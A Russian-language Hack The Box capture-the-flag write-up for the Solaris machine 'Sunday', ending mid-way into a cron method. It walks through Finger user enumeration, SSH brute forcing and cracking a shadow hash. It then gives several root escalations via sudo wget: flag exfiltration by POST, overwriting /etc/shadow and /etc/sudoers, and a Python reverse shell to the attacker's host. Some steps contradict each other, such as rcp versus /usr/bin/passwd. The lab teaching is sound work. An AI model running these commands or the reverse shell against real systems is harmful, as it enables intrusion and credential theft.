HTB{ Sunday }
Sunday — простая машина на основе ОС Solaris. В ассортименте: древний net-протокол Finger для получения информации о залогиненных пользователях в качестве входной точки, брутфорс SSH-кредов, восстановление пароля соседнего пользователя по хешу (просим помощи у Джона) для первого PrivEsc’а и целая уйма способов получения рут-сессии через эксплуатацию wget для второго PrivEsc’а (попробуем все). Несмотря на то, что это правда одна из самых нетрудных тачек на HTB, большинство людей выбирали модификацию shadow/sudoers -файлов в качестве финального повышения привилегий, откуда непрекращающиеся сбои, ресеты и туча головной боли для вежливых хакеров. Рассмотрим же вместе этот временами бесящий, но от этого не менее веселый путь к победе над Sunday.
Разведка
Nmap
Initial:
root@kali:~# nmap -n -vvv -sS -Pn --min-rate 5000 -oA nmap/initial -p- 10.10.10.76
...
root@kali:~# cat nmap/initial.nmap
# Nmap 7.70 scan initiated Sat Oct 6 14:38:14 2018 as: nmap -n -vvv -sS -Pn --min-rate 5000 -oA nmap/initial -p- 10.10.10.76
Warning: 10.10.10.76 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.76
Host is up, received user-set (0.048s latency).
Scanned at 2018-10-06 14:38:14 EDT for 139s
Not shown: 60087 filtered ports, 5443 closed ports
Reason: 60087 no-responses and 5443 resets
PORT STATE SERVICE REASON
79/tcp open finger syn-ack ttl 59
111/tcp open rpcbind syn-ack ttl 63
22022/tcp open unknown syn-ack ttl 59
47581/tcp open unknown syn-ack ttl 63
48935/tcp open unknown syn-ack ttl 59
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Oct 6 14:40:33 2018 -- 1 IP address (1 host up) scanned in 139.31 seconds
Version (красивый отчет):
root@kali:~# nmap -n -vvv -sS -sV -sC -oA nmap/version --stylesheet https://raw.githubusercontent.com/snovvcrash/snovvcrash.github.io/master/reports/nmap/nmap-bootstrap.xsl -p79,111,22022,47581,48935 10.10.10.76
...
root@kali:~# cat nmap/version.nmap
# Nmap 7.70 scan initiated Sat Oct 6 14:48:06 2018 as: nmap -n -vvv -sS -sV -sC -oA nmap/version --stylesheet https://raw.githubusercontent.com/snovvcrash/snovvcrash.github.io/master/reports/nmap/nmap-bootstrap.xsl -p79,111,22022,47581,48935 10.10.10.76
Nmap scan report for 10.10.10.76
Host is up, received echo-reply ttl 254 (0.052s latency).
Scanned at 2018-10-06 14:48:07 EDT for 78s
PORT STATE SERVICE REASON VERSION
79/tcp open finger syn-ack ttl 59 Sun Solaris fingerd
| finger: Login Name TTY Idle When Where\x0D
| sunny sunny pts/2 34 Sat 17:38 10.10.13.96 \x0D
|_sunny sunny pts/4 1:23 Sat 14:51 10.10.13.96 \x0D
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
22022/tcp open ssh syn-ack ttl 59 SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKQhj2N5gfwsseuHbx/yCXwOkphQCTzDyXaBw5SHg/vRBW9aYPsWUUV0XGZPlVtbhxFylTZGNZTWJyndzQL3aRcQNouwVH8NnQsT63s4uLKsAP3jx4afAwB7049PvisAxtDVMbqg94vxaJkh88VY/EMpASYNrLFtr1mZngrbAzOvAAAAFQCiLK6Oh21fvEjgZ0Yl0IRtONW/wwAAAIAxz1u+bPH+VE7upID2HEvYksXOItmohsDFt0oHmGMHf9TKwZvqQLZRix0eXYu8zLnTIdg7rVYSjGyRhuWeIkl1+0aIJL4/dzB+JthInTGFIngc83MtonLP4Sj3YL20wL9etVh8/M0ZOedntWrQcUW+8cUWZRlgW8q620HZKE8VqAAAAIB0s8wn1ufviVEKXct60uz2ZoduUgg07dfPfzvhpbw232KYUJ6lchTj2p2AV8cD0fk2lok2Qc6Kn/OKSjO9C0PlvG8WWkVVvlISUY4BEhtqtL3aof7PYp5nCrLK+2v+grCLxOvyYpT1OfDMQbahOWGZ9OCwQtQXKP1wYEQMqMsSRg==
| 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxAwq7HNZXHr7XEeYeKsbnaruPQyUK5IkSE/FxHesBaKQ37AsLjw8iacqUvcs8IuhPfiTtwuwU42zUHu1e1rmLpRlMyLQnjgJH1++fP5E0Qnxj4DrFr7aeRv1FqPkrnK/xCX46AdgUhs4+4YA04yfi8pOlaSEVucYaqWNhuqJkt8=
47581/tcp open smserverd syn-ack ttl 63 1 (RPC #100155)
48935/tcp open unknown syn-ack ttl 59
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 6 14:49:25 2018 -- 1 IP address (1 host up) scanned in 79.18 seconds
Finger на 79-м, и SSH на non-дефолтном 22022-м портах. Начнем с исследования Finger.
Finger — Порт 79
Если бы это была не открытая для всех желающих машина, и на ней не был бы в данный момент никто залогинен, то никакой информации из nmap-скриптов мы бы не получили. Сейчас же мы видим двух активных пользователей sunny
. Однако, делая этот райтап, машина уже потеряла былую популярность, поэтому о существовании второго пользователя мы как раз не знаем. Это хорошо, потому что я все равно планировал показать выполнение брутфорса юзернеймов Finger протокола, поэтому предлагаю закрыть глаза на обнаружение пользователя sunny
, и представить ситуацию, когда машиной занимаемся только мы.
В этом случае было бы примерно так:
root@kali:~# finger @10.10.10.76
No one logged on
Если мы попробуем запросить информацию о конкретном пользователе, то возможны 2 исхода событий:
- Если пользователь существует, Finger вернет о нем информацию в том же виде, в котором она прилетела от NSE nmap’а (nmap делает ровно то же самое, что и мы утилитой
finger
). - Если пользователя НЕ существует, произойдет следующее:
root@kali:~# finger 3V1LH4CK3R@10.10.10.76
Login Name TTY Idle When Where
3V1LH4CK3R ???
Злых хакеров нет, поэтому и инфы о них нет. Загрубосилим Finger.
Брутфорс Finger
Можно юзать модуль для Metasploit’а (auxiliary/scanner/finger/finger_users
), а можно запустить скрипт на Perl’е от pentestmonkey — результат будет один.
Воспользуемся вторым вариантом со словарем от SecList‘ов:
root@kali:~# wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
root@kali:~# tar -xvf finger-user-enum-1.0.tar.gz
root@kali:~# cd finger-user-enum-1.0
root@kali:~~/finger-user-enum-1.0# rm ../finger-user-enum-1.0.tar.gz
root@kali:~~/finger-user-enum-1.0# perl finger-user-enum.pl -U /usr/share/wordlists/SecLists/Usernames/Names/names.txt -t 10.10.10.76
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/SecLists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10163
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
######## Scan started at Sun Oct 7 08:57:50 2018 #########
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin < . . . . >..lp Line Printer Admin < . . . . >..uucp
anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???..
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
miof mela@10.10.10.76: Login Name TTY Idle When Where..miof ???..mela ???..
sammy@10.10.10.76: sammy pts/2 <Apr 24 12:57> 10.10.14.4 ..
sunny@10.10.10.76: sunny pts/3 <Apr 24 10:48> 10.10.14.4 ..
sys@10.10.10.76: sys ??? < . . . . >..
zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Sun Oct 7 09:03:50 2018 #########
14 results.
10163 queries in 394 seconds (25.8 queries / sec)
Среди кучи мусора видим 2 нужные строки:
sammy@10.10.10.76: sammy pts/2 <Apr 24 12:57> 10.10.14.4 ..
sunny@10.10.10.76: sunny pts/3 <Apr 24 10:48> 10.10.14.4 ..
Контрольная проверка:
root@kali:~# finger sammy@10.10.10.76
Login Name TTY Idle When Where
sammy sammy pts/2 <Apr 24 12:57> 10.10.14.4
root@kali:~# finger sunny@10.10.10.76
Login Name TTY Idle When Where
sunny sunny pts/3 <Apr 24 10:48> 10.10.14.4
Итак, у нас есть 2 пользователя: sammy и sunny.
SSH — Порт 22022 (внутри машины)
Будем отталкиваться от того, что имеем, а кроме 2-х юзернеймов у нас ничего нет. Поэтому помимо брута SSH-кредов для кого-то из них сложно что-либо придумать.
Начнем с sunny, т. к. имя коррелирует с названием машины. Есть такая практика на HTB — там, где нужно угадать пароль, ставить в качестве пароля название машины, либо что-то с ним созвучное. Поэтому мы могли бы просто попробовать приконнектиться с паролем sunday
(и эта попытка увенчалась бы успехом с вероятностью 99 %), но какой же тогда интерес?
Набросаем список вероятных парольных фраз для пататора и забрутим SSH:
root@kali:~# cat sunny_pass.lst
sammy
sunny
Sun
sun
Solaris
solaris
SunSSH
sunssh
HTB
htb
hackthebox
Sunday
sunday
root@kali:~# patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=./sunny_pass.lst -x ignore:mesg='Authentication failed.'
13:23:14 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2018-10-10 13:23 EDT
13:23:14 patator INFO -
13:23:14 patator INFO - code size time | candidate | num | mesg
13:23:14 patator INFO - -----------------------------------------------------------------------------
13:23:16 patator INFO - 0 19 0.104 | sunday | 13 | SSH-2.0-Sun_SSH_1.3
13:23:17 patator INFO - Hits/Done/Skip/Fail/Size: 1/13/0/0/13, Avg: 4 r/s, Time: 0h 0m 3s
Теперь с чистой совестью логинемся с sunny:sunday
и сразу в бой:
root@kali:~# sshpass -p 'sunday' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oStrictHostKeyChecking=no -p 22022 sunny@10.10.10.76
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$ whoami
sunny
sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)
sunny@sunday:~$ uname -a
SunOS sunday 5.11 snv_111b i86pc i386 i86pc Solaris
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
Запомнили /root/troll
, используем его позже; user-флага не видно, но я догадываюсь, где он есть:
sunny@sunday:~$ pwd
/export/home/sunny
sunny@sunday:~$ ls -la /export/home/
total 8
drwxr-xr-x 4 root root 4 2018-04-15 20:18 .
drwxr-xr-x 3 root root 3 2018-04-15 19:44 ..
drwxr-xr-x 18 sammy staff 26 2018-04-24 11:24 sammy
drwxr-xr-x 18 sunny other 30 2018-04-15 20:52 sunny
PrivEsc: sunny → sammy
Для PrivEsc’а до sammy достаточно обнаружить директорию /backup
:
sunny@sunday:~$ ls -la /
total 527
drwxr-xr-x 26 root root 27 2018-04-24 12:57 .
drwxr-xr-x 26 root root 27 2018-04-24 12:57 ..
drwxr-xr-x 2 root root 4 2018-04-15 20:44 backup
lrwxrwxrwx 1 root root 9 2018-04-15 19:52 bin -> ./usr/bin
drwxr-xr-x 6 root sys 7 2018-04-15 19:52 boot
drwxr-xr-x 2 root root 2 2018-04-16 15:33 cdrom
drwxr-xr-x 81 root sys 265 2018-10-07 13:44 dev
drwxr-xr-x 4 root sys 10 2018-10-07 13:44 devices
drwxr-xr-x 77 root sys 224 2018-10-07 13:44 etc
drwxr-xr-x 3 root root 3 2018-04-15 19:44 export
dr-xr-xr-x 1 root root 1 2018-10-07 13:44 home
drwxr-xr-x 19 root sys 20 2018-04-15 19:45 kernel
drwxr-xr-x 10 root bin 180 2018-04-15 19:45 lib
drwx------ 2 root root 2 2009-05-14 21:27 lost+found
drwxr-xr-x 2 root root 4 2018-10-07 13:44 media
drwxr-xr-x 2 root sys 2 2018-04-15 19:52 mnt
dr-xr-xr-x 1 root root 1 2018-10-07 13:44 net
drwxr-xr-x 4 root sys 4 2018-04-15 19:52 opt
drwxr-xr-x 5 root sys 5 2009-05-14 21:21 platform
dr-xr-xr-x 52 root root 480032 2018-10-07 15:09 proc
drwx------ 6 root root 13 2018-04-24 10:31 root
drwxr-xr-x 4 root root 4 2018-04-15 19:52 rpool
drwxr-xr-x 2 root sys 58 2018-04-15 19:53 sbin
drwxr-xr-x 4 root root 4 2009-05-14 21:18 system
drwxrwxrwt 4 root sys 384 2018-10-07 13:45 tmp
drwxr-xr-x 30 root sys 44 2018-04-15 19:46 usr
drwxr-xr-x 35 root sys 35 2018-04-15 20:26 var
sunny@sunday:~$ ls -la /backup/
total 5
drwxr-xr-x 2 root root 4 2018-04-15 20:44 .
drwxr-xr-x 26 root root 27 2018-04-24 12:57 ..
-r-x--x--x 1 root root 53 2018-04-24 10:35 agent22.backup
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup
И прочитать shadow.backup
:
sunny@sunday:~$ cat /backup/shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
После чего заглянем в /etc/passwd
:
sunny@sunday:~$ cat /etc/passwd
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
dladm:x:15:3:Datalink Admin:/:
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
xvm:x:60:60:xVM User:/:
mysql:x:70:70:MySQL Reserved UID:/:
openldap:x:75:75:OpenLDAP User:/:
webservd:x:80:80:WebServer Reserved UID:/:
postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:x:95:12:Service Tag UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash
И скрафтим файл для Джона, который так любезно согласился восстановить для нас пароль sammy:
root@kali:~# echo 'sammy:x:101:10:sammy:/export/home/sammy:/bin/bash' > sammy_passwd
root@kali:~# echo 'sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::' > sammy_shadow
root@kali:~# unshadow sammy_passwd sammy_shadow > sammy_hash
root@kali:~# john sammy_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=sha256crypt
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
No password hashes left to crack (see FAQ)
root@kali:~# john sammy_hash --show
sammy:cooldude!:101:10:sammy:/export/home/sammy:/bin/bash
1 password hash cracked, 0 left
Сменим пользователя на sammy:cooldude!
:
sunny@sunday:~$ su - sammy
Password: cooldude!
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$ pwd
/export/home/sammy
sammy@sunday:~$ whoami
sammy
sammy@sunday:~$ id
uid=101(sammy) gid=10(staff) groups=10(staff)
user.txt
И заберем флаг:
sammy@sunday:~$ cat Desktop/user.txt
a3d94980????????????????????????
PrivEsc: sammy → root
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
Иии… wget можно выполнять от рута: это знание сулит нам целых 7 различных способов PrivEsc’а! Разберем их все, расположив по возрастанию трудозатратности.
1. wget –input-file
Самым очевидным для меня способом прочтения root-флага (а также самым быстрым) стало использование флага --input-file
, или просто -i
.
root.txt
В случае использования этой опции wget будет ожидать от нас файла с URL, с которым нужно работать. Ну а если мы укажем любой другой файл (с флагом, например ), то будет спровоцирована ошибка при которой содержимое файла будет выведено на экран:
sammy@sunday:~$ sudo /usr/bin/wget -i /root/root.txt
/root/root.txt: Invalid URL fb40fab6????????????????????????: Unsupported scheme
No URLs found in /root/root.txt.
Элегантно и просто.
2. wget –post-file
Можно отправить флаг через POST-запрос.
Дефолтный python -m SimpleHTTPServer
, он же python3 -m http.server
, не подойдет по причине неумения работать с POST-методами. Здесь есть 2 выхода из ситуации.
1. Принимаем запрос через nc
, т. к. нам нужно только увидеть содержимое, отвечать необязательно:
sammy@sunday:~$ sudo /usr/bin/wget --post-file /root/root.txt 10.10.14.14:8881
--19:36:38-- http://10.10.14.14:8881/
=> `index.html.1'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... ^C
root@kali:~# nc -nlvvp 8881
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8881
Ncat: Listening on 0.0.0.0:8881
Ncat: Connection from 10.10.10.76.
Ncat: Connection from 10.10.10.76:51996.
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.14:8881
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
fb40fab6????????????????????????
NCAT DEBUG: Closing fd 5.
2. Дописать на коленке обработку POST-запросов (отображение содержимого) для Python-сервера, это тоже нетрудно:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Usage: python3 SimpleHTTPServer+.py [-h] [--bind ADDRESS] [port]
import http.server
import os
from argparse import ArgumentParser
class HTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
self._set_headers()
self.wfile.write(b'<html><body><h1>POST!</h1></body></html>')
print(post_data.decode('utf-8'))
def cli_options():
parser = ArgumentParser()
parser.add_argument(
'--bind',
'-b',
default='',
metavar='ADDRESS',
help='Specify alternate bind address [default: all interfaces]'
)
parser.add_argument(
'port',
action='store',
default=8000,
type=int,
nargs='?',
help='Specify alternate port [default: 8000]'
)
return parser.parse_args()
if __name__ == '__main__':
args = cli_options()
http.server.test(HandlerClass=HTTPRequestHandler, port=args.port, bind=args.bind)
sammy@sunday:~$ sudo /usr/bin/wget --post-file /root/root.txt 10.10.14.14:8881
--19:22:14-- http://10.10.14.14:8881/
=> `index.html'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
[ <=> ] 40 --.--K/s
19:22:14 (2.55 MB/s) - `index.html' saved [40]
root@kali:~# python3 SimpleHTTPServer+.py 8881
Serving HTTP on 0.0.0.0 port 8881 (http://0.0.0.0:8881/) ...
10.10.10.76 - - [07/Oct/2018 15:22:13] "POST / HTTP/1.0" 200 -
fb40fab6????????????????????????
^C
Keyboard interrupt received, exiting.
3. /etc/shadow (/etc/passwd)
Модификация /etc/shadow
(/etc/passwd
) / /etc/sudoers
— два способа, которые нужно выполнять с крайней осторожностью: велика вероятность подвесить машину (чем, кстати, не прекращали заниматься люди на HTB ). Нельзя, к примеру, просто изменить UID:GID
одного из пользователей на 0:0
в /etc/passwd
и ожидать, что в SunOS таким образом ты получишь root-сессию. Рассмотрим легальный пример изменения shadow (passwd) -файлов, которые приведут к желаемой цели. Но сперва немного теории.
SunOS (aka Solaris) — операционная система с ролевым разграничением доступа (англ. Role Based Access Control, RBAC), где под “ролью” понимается то, кем данный пользователь может стать (роль — это маска на карнавале; пользователь надевает маску и превращается в того, чью маску (роль) он выбрал). Список ролей для обычных пользователей изначально пуст. Проверить, в кого нам “разрешено превратиться” можно с помощью команды roles
:
sunny@sunday:~$ roles
No roles
sunny@sunday:~$ roles sammy
root
sunny не сможет надеть маску root’а, это под силу только sammy. Именно поэтому бесполезно менять UID:GID
существующих пользователей, ровно как и добавлять новых — ведь их в списке ролей не будет и подавно. Подробнее почитать про RBAC можно здесь.
Единственным приемлемым способом из этой категории я вижу модификацию файла /etc/shadow
добавлением записи с известным паролем для root-пользователя.
Для этого сгенерируем новый пароль qwe123!@#
:
root@kali:~# openssl passwd -1 -salt sugar 'qwe123!@#'
$1$sugar$XYG/x4tZyZcCFe2QdDiSa1
И создадим файл shadow
с содержимым (все как в /backup/shadow.backup
за исключением первой строки):
root:$1$sugar$XYG/x4tZyZcCFe2QdDiSa1:::::::
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Теперь закинем измененный shadow
на Sunday:
sammy@sunday:~$ sudo /usr/bin/wget 10.10.14.14:8881/shadow -O /etc/shadow
--21:39:47-- http://10.10.14.14:8881/shadow
=> `/etc/shadow'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: 363 [application/octet-stream]
100%[=================================================>] 363 --.--K/s
21:39:47 (23.38 MB/s) - `/etc/shadow' saved [363/363]
И поимеем инициируем root-сессию:
sammy@sunday:~$ su -
Password: qwe123!@#
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
You have new mail.
root@sunday:~# whoami
root
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)
root@sunday:~# cat /root/root.txt
fb40fab6????????????????????????
В обычной Linux-системе можно было бы даже не трогать /etc/shadow
, а просто изменить root-запись в /etc/passwd
на такую:
root:$1$sugar$XYG/x4tZyZcCFe2QdDiSa1:0:0:Super-User:/root:/usr/bin/bash
...
Тогда пароль запрашивался бы не из /etc/shadow
(на что намекала буква x
), а прямо из файла passwd
. Однако в Solaris’е так делать нельзя.
4. /etc/sudoers
Теперь перезапишем файл /etc/sudoers
, отвечающий за конфигурацию команды sudo
.
Так как изначально у нас нет доступа для просмотра sudoers:
sammy@sunday:~$ ls -la /etc/sudoers
-r--r----- 1 root root 795 2018-04-15 20:23 /etc/sudoers
То, я предположу, что в оригинале он выглядит примерно так:
root ALL=(ALL) ALL
sunny ALL=(root) NOPASSWD: /root/troll
sammy ALL=(root) NOPASSWD: /usr/bin/wget
Добавим строчку в конец, благодаря которой мы сможем сменить пользователя на привилегированного от имени sammy без пароля:
root ALL=(ALL) ALL
sunny ALL=(root) NOPASSWD: /root/troll
sammy ALL=(root) NOPASSWD: /usr/bin/wget
sammy ALL=(root) NOPASSWD: /usr/bin/su
Скачаем отредактированный файл и запустим su
:
sammy@sunday:~$ sudo /usr/bin/wget 10.10.14.14:8881/sudoers -O /etc/sudoers
--10:32:16-- http://10.10.14.14:8881/sudoers
=> `/etc/sudoers'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: 152 [application/octet-stream]
100%[=================================================>] 152 --.--K/s
10:32:16 (9.64 MB/s) - `/etc/sudoers' saved [152/152]
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
(root) NOPASSWD: /usr/bin/su
sammy@sunday:~$ sudo /usr/bin/su -
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
You have new mail.
root@sunday:~# whoami
root
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)
root@sunday:~# cat /root/root.txt
fb40fab6????????????????????????
По мне так это самый неблагородный путь повышения привилегий — можно спойлернуть удовольствие другим
5. /root/troll
Особенно забавным было попробовать этот способ PrivEsc’а.
Начинается он как обычно — с подмены файла /root/troll
, который, как мы помним, может быть запущен sunny с правами админа:
sammy@sunday:~$ sudo /usr/bin/wget 10.10.14.14:8881/.sh3ll.py -O /root/troll
--11:10:06-- http://10.10.14.14:8881/.sh3ll.py
=> `/root/troll'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: 363 [application/octet-stream]
100%[=================================================>] 291 --.--K/s
11:10:06 (605.54 KB/s) - `/root/troll' saved [291/291]
Загрузили мы, в свою очередь, этот питоновский reverse-shell (.sh3ll.py
, на скриншоте чуть ниже он назван troll
):
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.14.14', 31337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv('HISTFILE', '/dev/null')
pty.spawn('/bin/bash')
s.close()
Дальше после выполнения sudo /root/troll
от имени sunny получили коннект на локальном слушателе:
root@kali:~# nc -nlvvp 8881
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8881
Ncat: Listening on 0.0.0.0:8881
Ncat: Connection from 10.10.10.76.
Ncat: Connection from 10.10.10.76:58847.
root@sunday:~# whoami
whoami
root
root@sunday:~# id
id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)
root@sunday:~# cat /root/root.txt
cat /root/root.txt
fb40fab6????????????????????????
Если получилось с первого раза, значит очень повезло: как будет видно в конце райтапа (см. эпилог), /root/troll
перезаписывается каждые 5 секунд
Вот так все выглядело вживую (красным указан порядок активности панелей):
6. Исполняемый файл с SUID
Еще один способ, если не хочется попадать в тайминги troll’а, — это перезапись любого исполняемого файла с выставленным SUID’ом и владельцем root.
Найти их все, кстати, можно с помощью find
:
sammy@sunday:~$ find /usr/bin -perm -u=s -user root -type f 2>/dev/null
/usr/bin/sys-suspend
/usr/bin/rsh
/usr/bin/crontab
/usr/bin/rdist
/usr/bin/sudo
/usr/bin/lpset
/usr/bin/amd64/w
/usr/bin/amd64/uptime
/usr/bin/amd64/newtask
/usr/bin/chkey
/usr/bin/login
/usr/bin/pfexec
/usr/bin/newgrp
/usr/bin/mailq
/usr/bin/rlogin
/usr/bin/pppd
/usr/bin/atq
/usr/bin/rcp
/usr/bin/rmformat
/usr/bin/atrm
/usr/bin/at
/usr/bin/sudoedit
/usr/bin/fdformat
/usr/bin/i86/w
/usr/bin/i86/newtask
/usr/bin/i86/uptime
/usr/bin/passwd
/usr/bin/su
Выберем для наших коварных планов перезаписи утилиту удаленного копирования /usr/bin/rcp
. Видим установленный setuid, значит файл будет запущен от имени владельца:
sammy@sunday:~$ ls -la /usr/bin/rcp
-r-sr-xr-x 1 root bin 291 2018-10-08 16:39 /usr/bin/rcp
Поменяем в нашем Python-скрипте шелл с /bin/bash
‘а на простой /bin/sh
(т. к. bash не уважает SUID), перезапишем rcp (предварительно сделав копию, конечно же), запустим его:
sammy@sunday:~# cp /usr/bin/rcp /tmp/rcp.bak
sammy@sunday:~$ sudo /usr/bin/wget 10.10.14.14:8881/.sh3ll.py -O /usr/bin/passwd
--20:57:00-- http://10.10.14.14:8881/.sh3ll.py
=> `/usr/bin/passwd'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: 289 [application/octet-stream]
100%[=================================================>] 289 --.--K/s
20:57:00 (18.92 MB/s) - `/usr/bin/passwd' saved [289/289]
sammy@sunday:~$ rcp
И получим незамедлительный ответ!
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 10.10.10.76.
Ncat: Connection from 10.10.10.76:62124.
# whoami
whoami
root
# id
id
uid=101(sammy) gid=10(staff) euid=0(root) groups=10(staff)
# cat /root/root.txt
cat /root/root.txt
fb40fab6????????????????????????
Не забываем восстановить оригинальный rcp, когда наигрались с рут-сессией:
sammy@sunday:~# mv /tmp/rcp.bak /usr/bin/rcp
7. cron
Последний способ получения рута, который я опишу в рамках этого поста, это создание вредоносной cron-задачи.
Проверим, что cron запущен:
sammy@sunday:~$ ps auxww | grep cron
root 17724 0.0 0.1 4340 1304 ? S 12:10:09 0:00 /usr/sbin/cron
sammy@sunday:~$ svcs -p svc:/system/cron
STATE STIME FMRI
online 12:10:09 svc:/system/cron:default
12:10:09 17724 cron
На локальной машине создадим файл с нужным job’ом (хотим, чтобы Sunday пробрасывал шелл на нашу машину каждую минуту):
root@kali:~# cat cronjob
